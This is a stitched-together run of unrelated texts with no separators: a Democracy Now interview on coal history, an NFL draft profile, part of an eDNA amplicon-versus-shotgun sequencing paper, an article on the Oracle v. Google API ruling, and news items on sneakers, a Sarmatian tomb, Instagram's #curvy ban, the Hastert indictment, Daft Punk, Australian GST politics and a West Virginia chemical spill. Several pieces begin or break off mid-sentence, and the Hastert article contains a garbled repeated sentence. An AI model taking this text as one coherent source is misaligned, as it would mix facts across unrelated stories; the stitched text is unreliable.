We’ve been trying to stop strip mining for decades. And they believe that we have to go to the extent of civil disobedience literally to stop the mountaintop removal, the explosions, the detonation, near one of the largest coal slurry impoundments in the hemisphere, that this is symbolic, Amy, of what’s happening. We have an administration, the Obama administration, like we’ve had for 200 years, who feels like they can regulate and outlaw industry. And instead of abolishing mountaintop removal, which only supplies seven to eight percent of our national coal production — we literally don’t need it; we’ve had stockpiles of coal for the first time in twenty-five years in the summer — we’re going through with one of the most reckless, egregious human rights and environmental violations in our country. And to me, it’s symbolic of what happened at Eagle Creek, that the commerce and the profits of outside companies have always been weighed before the common good of the people and the protection of the land. AMY GOODMAN: Jeff, tonight you’re going to be speaking, if people make it out and carve themselves out of the snow, at the Harlem Arts Salon over 1925 Seventh Avenue, between 116th and 117th, about the coal roots of Black History Month. In these last minutes we have together, talk about what you will be saying, on these last days of Black History Month, the significance of coal. JEFF BIGGERS: Certainly. You know, I didn’t just write a book about the dark legacy of the coal industry. I also wrote a book about this incredible legacy of resilience and resistance, that my people have stood up against the coal companies for 200 years, that the abuse of the land has always gone hand-in-hand with the abuse of the people. And my grandfather, as a coal miner, always reminded me that the United Mine Workers, that he was part of, was always integrated from day one. My grandfather was very proud of the fact that white and black miners worked together. And he reminded me that, of course, Black History Month was founded by Carter Woodson, the great historian from Howard University who had worked as a coal miner in West Virginia, and there he heard these incredible stories of African American miners. And then he went on to study, of course, at Harvard, and he wrote his dissertation on African slavery in Appalachia. But he wanted to have a Negro History Week, which he created for the Journal of Negro History, what of course evolved into Black History month. And it’s that resiliency, Amy, that I want to talk about, that my backwoods people were not only part of the anti-slavery movement to stop slavery, but also to stop the machinations of the coal industry. You know, just as my grandfather fought with his black lung to have better benefits as coal miners, we’re trying to fight and preserve our culture and our contributions. And so, Black History Month, as part of its coal roots, to me, is really one of the great stories of what has come out and emerged from this tension in the coalfields. AMY GOODMAN: And the slaves that were sent into the mines, talk about that. JEFF BIGGERS: You know, it was a horrific policy. One of the great philosophers from France came to visit Thomas Jefferson, and he couldn’t believe it. He said, “Thomas Jefferson, you have these slaves with harnesses around their neck and harnesses around their waist.” And they were being used as human bulldozers to move almost thirty feet of overburden, that they would go into these deep pits, like the Dover pits in Virginia, and die like flies. We lost so many people. It was untold numbers. And then, finally, we liberated Richmond in Virginia and parts of West Virginia during the Civil War. Thousands of African and African American coal miners climbed out of these mines and ran away and never came back. Unfortunately, those same abuses, the same sort of homicidal negligence in the coal industry, continued with my grandfather, and that’s why we have this very fervent union movement today. AMY GOODMAN: I want to thank you, Jeff, for coming in on this snowy day, but most importantly for writing Reckoning at Eagle Creek and continuing to alert us about what’s happening in coal country. Jeff Biggers’ book is Reckoning at Eagle Creek: The Secret Legacy of Coal in the Heartland. And we’ll post on our website again where the Harlem Arts Salon is, where he’ll be speaking tonight at 7:00.1 of 6 David J. Phillip/Associated Press The Broncos have to fix their offensive line. There could be as many as three spots up for grabs this year in the trenches for the Broncos. They’re set at left tackle with Ryan Clady and at right guard with Louis Vasquez, but they still need to locate a center, left guard and right tackle before the start of the season. Free agency is going to come into play here. If the Broncos address guard in free agency with a guy like Mike Iupati (San Francisco 49ers), then perhaps they’ll go for a right tackle with their first-round pick. The best option for them could be Ereck Flowers from the University of Miami. Flowers is a mountain of a man, measuring in at 6’6”, 324 pounds. Even though he’s huge, Flowers has the athleticism to move well in space. He does a good job of firing off the snap, and Flowers has the lateral agility to angle block with ease. Flowers can also be relied on to get to the second level and hit a moving target right away. He does lack polish in pass protection, and Flowers did struggle on film at times against elite pass-rushers. This is why his best fit in the pros might be as a right tackle. On that side, he wouldn’t face the type of rushers like Clady does on the left. Flowers would be able to give Peyton Manning enough time to throw, and he could gain valuable experience quickly as a rookie starter. The Broncos are going to utilize a zone-blocking scheme under new head coach Gary Kubiak. The players on the line must be athletic enough to move well laterally at the snap, plus they need to be “sticky” blockers when asked to attack linebackers at the second level of the defense. At the scouting combine, I asked Flowers how he felt about playing in a zone-blocking system as an NFL player. “We run the zone block in Miami, we run man, that’s what Miami does, and I think that’s why Miami’s been successful in the NFL. Our coaches do a good job emulating the stuff they’re doing in the NFL and college so we ran man, zone so I’ll be fine wherever I go.” Flowers is a great fit for what Denver wants to do, and it would not be surprising to see him be the man the Broncos snare in the first round.Our study compares the efficacies of the two NGS sequencing strategies used for eDNA studies (amplicon vs. shotgun) over one of the largest datasets of environmental samples to date. We found the amplicon approach was far more discerning in almost all respects, contrasting general dogma in the field and all but one of eleven empirical studies in Table 1 that compared these strategies. Unlike our study, that contrasting study differed primarily because of issues with fungal rDNA recovery and deficient databases, rather than due to the systematic biases of the method12. Our study showed weak correlation between the two methods, indicating that while taxonomic overlap exists at both the phylum and family levels the methods are substantially different. Under half the phyla identified from amplicons were found with shotgun; almost all of the phyla recognized by the shotgun approach were also recognized by the amplicon approach. About 30% fewer families were identified from shotgun. This superior performance from amplicons comes despite having <1% of the total reads produced from shotgun. The amplicon results were also far more consistent with prior research on the biodiversity of freshwater systems (Fig. 2). In addition, the Procrustes tests indicated that there is only weak correlation for community composition between the two sequencing strategies using NMDS. The key difference between the amplicon and shotgun derived data in our study was taxonomic breadth and abundance, whether looking at the overall results or site-by-site. The lower taxon counts for shotgun sequencing appear to be due to issues inherent to the shotgun technique, as well as to the database size. As genome databases are continuously improving and expanding in size, this problem should become less significant. New approaches in multi-enzyme and mechanical shotgun extraction and sequencing techniques may also help18. Additionally, shotgun sequencing is complicated by having many reads map to unknown species, which reduces the number of taxonomically-applicable reads (often the majority of reads), and this issue may be more problematic in complex environments such as river basins. The fundamental issue with the shotgun technique was that taxon richness reached an asymptote on a per site basis at low and unpredictable levels, as compared to amplicon results (Fig. 7A). While this high degree of variability can potentially be overcome by using a large number of sites (note the high variance in total predicted taxa in Supplementary Table 2 and the longer asymptote in Fig. 7B), this is not particularly helpful, as it is a fundamental goal in biodiversity studies to get at the true richness and abundance of organisms at each individual site. Yet, the environmental correlates were greater with the shotgun data (more below). The rarefaction asymptotes of Fig. 7A indicate that further sequencing is unlikely to provide additional insight on a per site basis, at least when using MetaPhlAn2. In contrast, some studies have shown that a greater sequencing depth can be useful for the detection of rare species; unfortunately, it generally comes at the cost of shorter reads that are frequently misaligned - a process that leads to an inflation of both species count and diversity estimates4, 14, 19. As for genomic databases, even for microbes, they are in their infancy11, 12, 20. While genomes deposited in these databases are increasing at an astonishing pace, they have a long way to go15. This is especially true when compared to the well-curated 16S microbial databases like RDP21, SILVA22, and Greengenes23. This appears to be less of a problem in studies on well-characterized systems like the human microbiome (Table 1). By definition, all nine of the phyla recognized in the shotgun dataset have whole genome sequences in the database. On the other hand, the 20 amplicon phyla determinations use 16S rDNA sequences to make the identifications, so not all of them necessarily have sequences in the whole genome database. Indeed, only 80% of the phyla identified using the 16S amplicon approach also have whole genomes sequenced from members of those phyla (Supplementary Fig. 1), leaving us with only a minor taxonomic overlap between databases. This discrepancy at the phylum level clearly entails a massive lack of resolution at finer taxonomic levels (e.g., for families reviewed here). Missing a single phylum is disconcerting, let alone 20% of phyla. Given the 16S vs. genome database discrepancy, many shotgun sequences are surely assigned to inappropriate taxa. These incorrect IDs are most likely close relatives of taxa that have sequenced genomes. Thus, the IDs may still have some merit based on the fact that closely related taxa generally have phylogenetically constrained traits that make them more similar (ecologically, physiologically, etc.) to one another than to more distant relatives24. However, ecological analyses using higher taxa as surrogates for species achieve variable results depending on the types of input data25. In microbial communities, functional diversity cannot be directly predicted from phylogenetic diversity. For example, while in the macroscopic world it is an accepted paradigm that an ecosystem with a low level of taxonomic richness will also have a reduced functional diversity, this does not seem to apply to microbial communities20. Because of the putative cases of mistaken identity with shotgun sequencing, we chose not to use UniFrac or any of its derivative distances (e.g., weighted and generalized; see ref. 26) for community level analyses. For microbial eDNA community ecology, multivariate analysts now generally favor these phylogenetically adjusted measures rather than simply considering taxa as independent entities. However, without highly accurate identifications, accounting for a specific phylogeny makes little sense: recall that only half the amplicon-recovered phyla were found with shotgun, indicating that many shotgun sequences were identified to incorrect phyla - a phylogenetically gigantic distance. The biases of close, but not exact, identifications are almost surely less extreme when considered as fully independent entities (i.e., not using UniFrac, but more traditional non-phylogenetic distance matrices). Considering taxa as fully independent entities is standard for community ecology of large eukaryotic organisms. Yet, despite the acceptability of both methods, it is still a notable difference that shotgun data should not – in our opinion – rely on phylogenetically accountable methods until the databases become larger and the tools more sensitive. Throughout our study we focused on commonly used bioinformatic pipelines. While the RDP appears to work well for amplicons, our findings of MetaPhlAn having lower quality results for shotgun could be called into question. However, MetaPhlAn is one of the most popular taxonomic categorizers; for instance, it was used in the Human Microbiome Project27. More importantly, it relies on clade-specific marker genes, which is crucially important for accurate identifications in bacterial biodiversity studies and is a common algorithmic approach. We believe that current practices for analyzing shotgun data that do not use clade-specific markers may be inappropriate for bacterial taxonomic identifications. Future studies should compare less conservative approaches, such as PhyloSift28. Due to conjugation, horizontal gene transfer is rampant in bacteria. It is equally well established that there is a core set of genes across bacteria that are highly conserved and rarely transferred; this is generally referred to as the core genome29. While amplicon-derived analyses take advantage of a single gene in the core genome, shotgun relies on genes across the entire genome. Accordingly, the analytics of shotgun will inevitably lead to avoidable misidentifications if based around genes not found in the core genome. This is a major problem for biodiversity and ecology studies, as confident identifications are paramount. Future shotgun analytics can therefore benefit from limiting taxonomic identifications to sequences from the core genome or clade-specific marker genes (as done by MetaPhlAn30, 31. Furthermore, while our results could be confounded by the fact that we sequenced amplicons via 454 and shotgun via Illumina, we found the majority of studies in Table 1 comparing the amplicon procedure for 454 vs. Illumina agree that these sequencing platforms give highly similar results. Additionally, while Illumina is the dominant NGS platform, amplicon and shotgun studies generally use different Illumina platforms to meet their goals (e.g., HiSeq and MiSeq, respectively; see Table 1). Thus, we believe that our results and comparisons are valid. It is also worth noting that if there were to be an issue with one of these sequencers, it would be assumed that it would be the 454, as it had fewer than 1% of the reads sequenced for Illumina (as expected) - making our results akin to a fisherman with a single fishing rod catching more fish than a commercial trawler. The only result that is agnostic towards (or at least difficult to interpret for) shotgun or amplicons
in the end, Judge William Alsup came closest to agreeing with Google, comparing an API to a library that organizes the Java programming language. "Each package is like a bookshelf in the library," Alsup wrote with last week's much-anticipated ruling in the epic legal battle between Google and Oracle. "Each class is like a book on the shelf. Each method is like a how-to-do-it chapter in a book. Go to the right shelf, select the right book, and open it to the chapter that covers the work you need." His ultimate point was that the organization of a library is not subject to copyright. Yes, he said, the books are copyrightable, but not the way the books are organized. In other words, Google did not infringe on Oracle's copyright when it cloned 37 Java APIs in building its Android mobile operating system. Though Google copied the organization of the APIs, it built the code behind them on its own – or at least mostly on its own. "The Java and Android libraries are organized in the same basic way but all of the chapters in Android have been written with implementations different from Java but solving the same problems and providing the same functions." With his ruling, Judge Alsup effectively brought an end to the six-week trial over Google's use of Java in Android. After suing Google in 2010, claiming both copyright and patent infringement, Oracle had sought a portion of Google's Android revenues, but in the wake of Alsup's ruling, it's entitled to almost nothing – though the database giant has already said it will appeal. >"This reaffirms our longstanding understanding of the law: that these APIs were free for anyone to use as we did, taking just the declarations and doing our own independent implementations. That's the way developers use Java. You can't say a language is free for everyone to use and then hold back the nouns and the verbs." – Google If Alsup had ruled otherwise, says Bret Bocchieri, an intellectual property lawyer with the international law firm Seyfarth Shaw LLP, Oracle could have potentially reaped a "mind-staggering amount" of damages. But he didn't. What's more, Alsup's ruling allows a world of software companies and individual developers to breathe a sigh of relief. In the software world, cloning APIs is a common practice. Several cloud platforms, for instance, mimic the APIs of Amazon's massively popular Elastic Compute Cloud. An API is an application programming interface, a way for two pieces of software to talk together, and the general assumption has always been that these interfaces are not subject to copyright. When Oracle tried to argue otherwise, it caused at least a little hand-wringing among software outfits across the industry. But on Thursday, Alsup put an end to all that. "To accept Oracle’s claim would be to allow anyone to copyright one version of code to carry out a system of commands and thereby bar all others from writing their own different versions to carry out all or part of the same commands," read his 41-page brief. "No holding has ever endorsed such a sweeping proposition." Ed Walsh, an attorney with the law firm Wolf Greenfield, isn't surprised by the ruling. But he also says that we shouldn't necessarily view the ruling as a decision that frees all APIs from copyright. He believes that the judge may have ruled in favor of Google at least in part because Sun, the original maker of Java, allowed Google to clone the APIs. Oracle sued Google after acquiring Sun. "I think some element of the influence [for the ruling] was the view that Sun allowed people to use Java," Walsh said. "So that expanded the range of things [Oracle] could not protect by copyright." Catherine Lacavera, Google's director of litigation, says much the same thing. "This reaffirms our longstanding understanding of the law: that these APIs were free for anyone to use as we did, taking just the declarations and doing our own independent implementations," she told Wired. "That's the way developers use Java. You can't say a language is free for everyone to use and then hold back the nouns and the verbs." But Alsup goes much further, using great detail in describing what the Java APIs are and how they should be treated under the law. His library metaphor is an apt one. But he doesn't stop at metaphors. He seems to truly understand APIs. He realizes there's a difference between copying an interface and copying the code behind an interface. "Every method and class is specified to carry out precise desired functions and, thus, the 'declaration' (or 'header') line of code stating the specifications must be identical to carry out the given function," he says, after laying down his library metaphor. As of 2008, Java included 166 APIs, spanning more than six hundred classes, broken into more than six thousand methods. Google replicated the names and the operation of 37 API packages, but it used its own code to implement the methods and classes. During the trial, Oracle counsel Mike Jacobs often said that building an API was akin to writing a great symphony or, yes, painting a beautiful painting. And Judge Alsup did acknowledge that developing an API is a creative endeavor. But he added that at the conceptual level, such inventions can only be protected by patents. Oracle also tried the patent argument, but that didn't work either. Java relies on a particular vocabulary called "method specifications" that allow humans to tell the computer exactly what they want it to do. Alsup said that under the U.S. Copyright Act, no matter how creative a method specification may be, anyone – including Google – is entitled to use the same specifications as long as the line-by-line implementations are different. "The method specification is the idea. The method implementation is the expression. No one may monopolize the idea," Alsup wrote. The judge said that no court of appeals or district court has addressed whether APIs are subject to copyright. But he did point to other precedent, including the 1879 Supreme Court ruling in Baker v. Seldon – a case that examined whether accounting techniques are copyrightable. The court ruled that bookkeeping methodology could only be protected by patents and that protection under copyright law would "frustrate the very purpose of publication." "It is true that Baker is aged but it is not passé. To the contrary, even in our modern era, Baker continues to be followed in the appellate courts." He also cited 1994's Apple Computer, Inc. v. Microsoft Corp., 1992's Computer Associates International, Inc. v. Altai, and 1986's Whelan Associates, Inc. v. Jaslow Dental Laboratory, Inc. – all of which examined whether various aspects of computing are subject to copyright. For Alsup, the upshot is this: If there are only a few ways to express an idea, then no one can claim copyright. Names and short phrases are not copyrightable, he said, and copyright protection never extends to any idea, procedure, process, system, method of operation, or concept – regardless of its form. He also said that functional elements essential for interoperability are not copyrightable. And that includes the Java APIs. In many ways, the Google-Oracle battle was a letdown. But in some cases, it rose above the usual monotony. The highlight came when Alsup told the court he had learned to code in Java – a way of showing Oracle that he wouldn't let the company pull the wool over his eyes. It was quite a performance, and after looking back on six weeks in his courtroom, where he hit both the attorneys and expert witnesses with the sharpest of questions, we take him at his word. In his ruling, he went so far as to write out lines of code that illustrate methods, classes, and packages. And, well, he got the ruling right.ASICS GEL-Lyte III “Spice Route” 4.73 / 5 15 VOTES This post contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. The opinions and information provided on this site are original editorial content of Sneaker News. The ASICS GEL-Lyte III continues its strong fall season with another ultra clean and striking look in “Spice Route” suede. The spicy orange-brown shade covers the entire upper of the GEL-Lyte III, with contrasting textures of hairy and smooth suede giving it a decidedly premium appearance. The “Spice Route” colorway follows the impressive “Glacier Grey” GEL-Lyte III in suede and mesh that we previewed last week. Who needs limited edition collabs when the general release colorways are this good? The GEL-Lyte III “Spice Route’ is available now at select ASICS Tiger retailers like Sneaker Politics for $120.WEST KAZAKHSTAN REGION – The “Golden Princess” or Altyn Hanshaiym found in West Kazakhstan’s Terektin District in 2012 has now been confirmed as one of the oldest tombs discovered in the country. The tomb dates back to the early Sarmatian period (fourth and fifth centuries BC) and is considered to be comparable in importance and value to the “Golden Warrior” discovered in 1969 in Issyk in the south-eastern part of the country. In the Golden Princess’s mound, remains of a woman of noble birth were found. She was probably a priestess, judging by the method of burial: there were about 100 gold ornaments and ritual objects found with her. For archaeologists, of special value was her comb. According to archaeologists, the well-preserved comb with drawings is a storehouse of valuable information and a real masterpiece. It is carved from a single piece of wood and decorated with inclusions made from other types of wood. A full reproduction of the comb was done in stages: first in sculpture clay, then in modelling wax and then in the original material, wood. A computer programme was used to study the composition in detail. The double-sided image, made by a skilled ancient artist, presents a fight scene. The harness, weapons, clothing and design of the chariot all contribute to the stock of knowledge about the era. Most important is the scene of a battle between a lone Sarmatian warrior and a Persian battle cart drawn by two horses with a charioteer and a shooter. Historians believe that this scene dates back to the first Persian incursions into the steppe at the end of the sixth century BC, when the troops of Darius the Great of Persia faced the resistance of the nomads. This interpretation, however, according to Murat Sdykov, director of the West Kazakhstan Centre of History and Archaeology, may be subject to scientific debate. Scientists believe the information gained from the tomb, with the help of experts from Japan, Germany and Russia, as well as Kazakhstan, will help them understand the woman’ s era. The burial ceremony used fire, and all artefacts in the grave were charred and deformed. To extract the remains, large blocks of material together with soil were delivered to a laboratory for X-ray examination. The preservation and reconstruction of the artefacts was carried out in the workshop of famous Kazakh restorer and member of the Kazakh Union of Artists Krym Altynbekov. The significance of each detail of the artefact and the meticulous work of restorers is described in the booklet, “Taksay Comb,” published by the centre and in the book “Reborn from the Ashes” by Krym Altynbekov. Two copies of the Golden Princess will be exhibited in the Kazakhstan National Museum of History in Astana and in the West Kazakhstan Historical Museum.(CNN) The battle over how Instagram will allow women's bodies to be portrayed rages on. According to reports, the popular social photo service has banned the hashtag #curvy because it was used for porn and therefore violated the site's terms of service. As you can imagine, some folks are not happy. Madeline Jones, editor-in-chief of Plus Model Magazine wrote in a post on the magazine's web site, "Instagram has decided to suppress the hashtag #Curvy, as porn companies were using it. While many questionable hashtags are still searchable, we wonder about the logic of this bold move." #Curvy is no longer searchable on the site, but Buzzfeed points out that words such as "skinny," "fat" and "thin" are still searchable as hashtags. If the responses on Twitter are any indication, the move did not go over well. Why has Instagram banned the hashtag 'curvy' that is the most mother flipping ridiculous thing I've heard in a longggg time. — Danielle (@VanierDanielle) July 15, 2015 why has Instagram wiped the curvy hashtag clean but you can still access #skinny and #thinspiration? — Rachel Whitehurst (@RachLWhitehurst) July 15, 2015 Phew, since Instagram banned the hashtag #curvy, there are no more fat people in the world. Congrats, Instagram. — Sofie Hagen (@SofieHagen) July 15, 2015 Many body image advocates have used the site and the hashtag #curvy to further the cause of acceptance of all sizes. Plus-sized super model Tess Holliday came to fame via Instagram using #EffYourBeautyStandards But Instagram is known for suspending users accounts for what it deems "unacceptable content." The #freethenipple movement began as a response to the site's objection to photos featuring breasts, even those which were part of art work. Artist Sam Roddick had her account was deleted by Instagram after she posted a vagina shaped cornice, but Huffington Post noted that #vagina is not banned from the site.Former House speaker J. Dennis Hastert was indicted on federal charges Thursday, including lying to the FBI in an alleged effort to hide $3.5 million in payments to a person to conceal past misconduct. (Reuters) Head here for the latest updates on this story. YORKVILLE, Ill. — J. Dennis Hastert, the longest-serving Republican speaker in the history of the U.S. House, was indicted Thursday by a federal grand jury on charges that he violated banking laws in a bid to pay $3.5 million to an unnamed person to cover up “past misconduct.” Hastert, who has been a high-paid lobbyist in Washington since his 2007 retirement from Congress, schemed to mask more than $950,000 in withdrawals from various accounts in violation of federal banking laws that require the disclosure of large cash transactions, according to a seven-page indictment delivered by a grand jury in Chicago. The indictment did not spell out the exact nature of the “prior misconduct” by Hastert, but it noted that before entering state and federal politics in 1981, Hastert served for more than a decade as a teacher and wrestling coach at Yorkville High School in Illinois. In 2010, confronted about the “prior misconduct,” the former speaker agreed to pay $3.5 million to the person “to compensate for and conceal his prior misconduct against Individual A,” prosecutors alleged. That person, whose identity was shielded by prosecutors, has known Hastert most of his or her life, growing up in Yorkville, the city next to Hastert’s home town of Plano, in the exurbs west of Chicago. Prosecutors said the actions “occurred years earlier” than the 2010 meeting that sparked the payments. [Jaw-dropping indictment stirs deeper mystery] The investigation began in 2013, by the FBI and the Internal Revenue Service, which cited “possible structuring of currency transactions to avoid the reporting requirements.” The Post's Chris Cillizza breaks down former House speaker Dennis Hastert's indictment on charges that he broke bank laws by withdrawing large sums of money and lying about it to federal authorities. (Editor's note: This video has been updated.) (Nicki DeMarco/The Washington Post) Neither Hastert nor his legal team responded to requests for comment on the charges. Hastert, an easygoing Midwesterner by nature, had a public persona closely linked to his career as a wrestling coach, something he cited in late 2007 in his final speech on the House floor. “When I entered politics, I never envisioned that this former teacher and wrestling coach from Kendall County, Illinois, would have the opportunity to lead the United States House of Representatives,” he said at the time. In addition to the banking charges, Hastert faces a count for making “false, fictitious and fraudulent statements” to federal investigators during an interview last December in which he was questioned about the many cash withdrawals for less than $10,000, just under the amounts that would have triggered disclosure requirements. [Read the entire indictment here] According to the indictment, investigators asked Hastert — an almost 21-year veteran of Congress whose lobbying clients include major energy and tobacco firms — whether his withdrawals were prompted “because he did not feel safe with the banking system.” “Yeah... I kept the cash,” the former speaker told the agents, according to the indictment. “That’s what I’m doing.” Over five years, Hastert withdrew about $1.7 million in cash from his various bank accounts — at one point in 2014 delivering $100,000 a month to the person in question, the indictment alleged. About half of the cash was withdrawn illegally, prosecutors said. Prosecutors alleged that he knew he was withdrawing the money “to compensate Individual A to remain secret so as to cover up his past misconduct.” Kim Nerheim, spokeswoman for the U.S. attorney’s office for the Northern District of Illinois, which brought the charges, would not comment on whether there was any criminal investigation or charges against the person who prompted Hastert’s allegedly illegal transactions. The withdrawals in question began in June 2010, including 15 of $50,000 each, until the spring of 2012, according to the indictment. Officials at the bank asked Hastert about those cash transactions, because federal law requires reporting of transactions of $10,000 or more as part of efforts to track money laundering and other criminal behavior. Shortly thereafter, Hastert began making regular withdrawals of less than $10,000, the indictment alleged. Hastert will be arraigned in a federal district court, Nerheim said. She did not say when. Friends and associates of the former speaker were shocked by the allegations. His lobbying firm, Dickstein Shapiro, announced his resignation after the news broke Thursday. “It’s a shock to me as much as anybody,” said Loren Miller, a longtime friend of Hastert’s from Illinois. “He got his job because he didn’t have any skeletons in his closet.” Speaking at his home in Yorkville, Ill., Thursday night, Miller said “there wasn’t anything wrong” when Hastert last visited about a week ago. Miller first knew Hastert when he played high school football against him in the early 1960s — Hastert for Oswego High, Miller for Yorkville. They later became close when Hastert entered political life, inviting Miller for trips to Washington and occasionally sharing perks like holiday baskets and a trip to the Kentucky Derby. “I was one of his closest friends and got to do a lot of things, but nothing that wasn’t on the level,” he said. Hastert would pay regular visits to Miller’s auto restoration shop, though the visits became less frequent in recent years as Hastert spent more time in Washington, Miller said. “I don’t know the details, but I know what the man is made of, and I know that I will stand behind him.” Miller said it was “too soon” even for rumors to spread on what Hastert’s long-ago misdeeds might have been. “I’ll know what probably comes out in the news,” he said. Scot Bertram, a conservative radio host in Illinois, said being a teacher “was connected with Hastert at the hip. Any quick bio piece, any speech, it always came up. Any shadow on that would be devastating to him,” he said. “I find it unbelievable and totally out of character with the Denny I know and worked with,” said Brian Finch, a lobbyist who worked with Hastert for about six years when both were at Dickstein but who now works at the law firm Pillsbury Winthrop Shaw Pittman. “I always found him to be an upstanding and honorable person.” [Dennis Hastert’s rise was based on being the no ‘skeletons’ guy — until this week] Former Virginia congressman Thomas J. Bliley Jr. said in an interview Thursday that he was “very sad” to hear about Hastert’s situation. He recalled Hastert as a congressional leader who was amiable but not prone to say much about himself or his past. “He wasn’t overly talkative, but not a recluse, somewhere in between,” he said. “We knew him as a coach, as a friend.” Hastert’s ability to make such large cash payments probably came from his career as a K Street lobbyist. He entered Congress in 1987 with a net worth of no more than $270,000 and then exited worth somewhere between $4 million and $17 million, according to congressional disclosure documents. Much of his wealth, however, was tied up in real estate holdings. Since Hastert became a lobbyist, his clients have paid millions of dollars for his services. Last year, Hastert took the helm of Dickstein’s lobbying practice at a time when it was undergoing major structural changes. A large group of lobbyists had departed for rival Greenberg Traurig, taking significant business, and Hastert was tapped to help rebuild Dickstein’s lobbying business. His clients included Peabody Energy, the Secure ID Coalition and Fuels America, according to lobbying records. Hastert became speaker at a time of great tumult among House Republicans. After the disappointing 1998 midterm elections, Rep. Newt Gingrich (R-Ga.) resigned as House speaker. The following the disappointing 1998 midterm elections, impeachment charges against President Bill Clinton led to revelations that Gingrich’s would-be replacement, Rep. Bob Livingston (R-La.), had engaged in extramarital affairs. He was forced to resign. Hastert became the unity candidate to take over. On the evening of the 9/11 terrorist attacks, Hastert led lawmakers in a ceremony at the Capitol steps, ending with an impromptu singing of “God Bless America” that became a rallying cry in some circles. He stepped down after Republicans lost the House majority in the 2006 midterm elections. Those elections took place in the middle of an investigation into the GOP leadership’s handling of allegations that a Republican Florida congressman, Mark Foley, had engaged in inappropriate explicit communications with House pages, who were of high school age. In his farewell address, Hastert again invoked his wrestling background. “There’s a tradition among Olympic wrestlers that you leave your shoes on the mat after your last match,” he said. “Well, don’t be alarmed, Madam Speaker, I won’t be challenging the rules of decorum by removing my shoes on the House floor. But I do hope that I have left a few footprints behind that may be of value to those who come after me.” Kane and Berman reported from Washington. Robert Costa, Alice Crites, Matea Gold, Rosalind S. Helderman, Catherine Ho and Sari Horwitz in Washington contributed to this report.'Random Access Memories' is expected to outsell 'Be Here Now' Daft Punk are predicted to break Oasis‘ record for the fastest selling album in UK chart history. The band’s new album ‘Random Access Memories’ is expected to beat the record currently held by 1997’s ‘Be Here Now’, with bookies Paddy Power cutting the odds dramatically on the French duo’s chances, according to Music Week. ‘Be Here Now’ sold 650,000 in its first week of sales, but ‘Random Access Memories’ has already scored the highest number of pre-sales for any dance album ever on Amazon. Paddy Power are giving 4/5 odds on the record outselling Oasis. The album is released tomorrow (May 17). The LP has 7/1 odds of becoming the best-selling album in UK chart history by 2015. A Paddy Power spokesperson said: “They might not have a catchy moniker like the ‘Beliebers’, but fans don’t come much more passionate and excitable than Daft Punk enthusiasts so we’re expecting big things for the French DJs next week. We only hope that the success doesn’t go straight to their helmets.” Despite saying that they will not be touring the record, Paddy Power has odds of 5/2 on a world tour being announced by the end of the year. Daft Punk are set for a fourth straight week at the top of the Official UK Singles Chart with their track ‘Get Lucky’, which has now sold more than 500,000 copies. The song has spent the past three weeks at Number One, and has already sold 49,000 copies since Sunday (May 12). The track is easily the French act’s biggest selling UK single, overtaking their 2000 Number Two hit ‘One More Time’.One MP said Mr Turnbull had effectively pre-empted discussion among MPs who are nervous about an increase in the GST during the meeting, telling colleagues - as he has said publicly - that no decision has been taken on whether to proceed with a rise in the consumption tax as part of its tax reform package, and that everything remained on the table. Prime Minister Malcolm Turnbull, pictured with wife Lucy Turnbull on Tuesday morning, has told colleagues a double dissolution election remains a possibility. Credit:Andrew Meares The government's tax reform package would go to cabinet later this year, Mr Turnbull said, and then the party room for discussion. That same MP said there was considerable disquiet, though it did not raise its head on Tuesday, about the prospect of a GST rise among two groups of backbenchers - those who strongly favour small government and those are scared of losing their marginal seat. "It's fine that all options are on the table, but the backbench is increasingly unified about this," the MP said. "Scott [Morrison] is determined to raise the GST, he wants to be the Treasurer who delivers big reform...we are relying on the PM to listen to the backbench." "I think Malcolm has an open mind on this." Liberal Party federal director Tony Nutt also addressed the party room meeting about the 2016 election. Mr Nutt told MPs it was important, in the election year, to sharpen the distinctions between the two major parties and that the Coalition had to "beat the French", a reference to the defeat of Napoleon at the battle of Waterloo in 1815. The federal director said the Coalition needed to "set the terms" of public debate about key election issues such as tax reform and warned if they did not, Labor would. Mr Turnbull's comments tally with previous public commentary from the prime minister about the timing of the election. On Friday, Mr Turnbull said "there is a budget in May...and there will be an election, you know, all other things being equal, in August, September, October". If an election is called before July, a double dissolution must be held. In a double dissolution, all 76 senators face voters which means just half a normal quota is required, which increases the chances of minor parties winning seats - an outcome the government would not look favourably on. The two pieces of legislation the government wants to push through are bills that would re-establish the Australian Building and Construction and Commission - this bill is due to re-enter the lower house on Tuesday morning but will face difficulty passing through the Senate, having been knocked back once already - and a bill to establish a Registered Organisations Commission that will strengthen union governance requirements. This bill is already a double dissolution trigger. Employment Minister Michaelia Cash will this week allow crossbench senators who blocked the ABCC legislation the first time around to view the confidential volume from the Heydon royal commission's final report in a bid to win their support for the bill. One Labor and one Greens MP were also invited to view the document under strict condictions, but refused. Greens MP Adam Bandt accused the government of "trying to threaten members of the crossbench". "You can't ask people to vote on a piece of legislation unless you are going to put all the facts in front of them," he said.Even before last week's chemical spill fouled tap water in nine counties in West Virginia, where more than 200,000 people still cannot use their water after seven long days, it was not unusual to find black water running from kitchen faucets in homes outside Charleston. Or to see children with chronic skin rashes. Or bathtub enamel eaten away, leaving locals to wonder what the same water was doing to their teeth. "Welcome to our world," says Vivian Stockman, 52, a longtime resident of rural Roane County, north of Charleston, the state capital, and an activist with the Ohio Valley Environmental Coalition. Indeed, people who live in the Kanawha River Valley, which much of the world learned recently is also known as Chemical Valley, have endured a long history of pollution of many kinds. The coal-cleansing chemical that spilled from Freedom Industries' storage tank into the Elk River last Thursday is only the latest insult in what for some has been a lifetime of industrial accidents that have poisoned groundwater, spewed toxic gas emissions, and caused fires, explosions, and other disasters that neither state nor federal regulators have been able to protect against. For nearly a century, Chemical Valley was home to the largest concentration of chemical plants in the United States, according to a 2004 history by Nathan Cantrell, published by the West Virginia Historical Society. And though some of West Virginia's chemical manufacturers have shifted to Calgary's gas fields and to the oil-rich Gulf Coast in recent years, the discovery of the Marcellus Shale—which extends throughout much of the eastern United States and is touted as the largest natural gas field in the world—has raised hopes of a rebirth of Chemical Valley. View Images An aerial view of Catenary Coal Co. mountaintop removal site near Kayford Mountain in West Virginia. PHOTOGRAPH BY MELISSA FARLOW, NATIONAL GEOGRAPHIC "We are seeing a renaissance now because of Marcellus Shale," said Kevin DiGregorio, executive director of the Chemical Alliance Zone, a nonprofit economic development group dedicated to building the chemical industry in West Virginia. "To those of us in the chemical industry, safety is number one," he said. "We drink the water, too." The Elk River spill is the region's third accident in the last five years. It left 300,000 people surrounding Charleston unable to even touch tap water and essentially shut down the state's capital city as residents scavenged for bottled 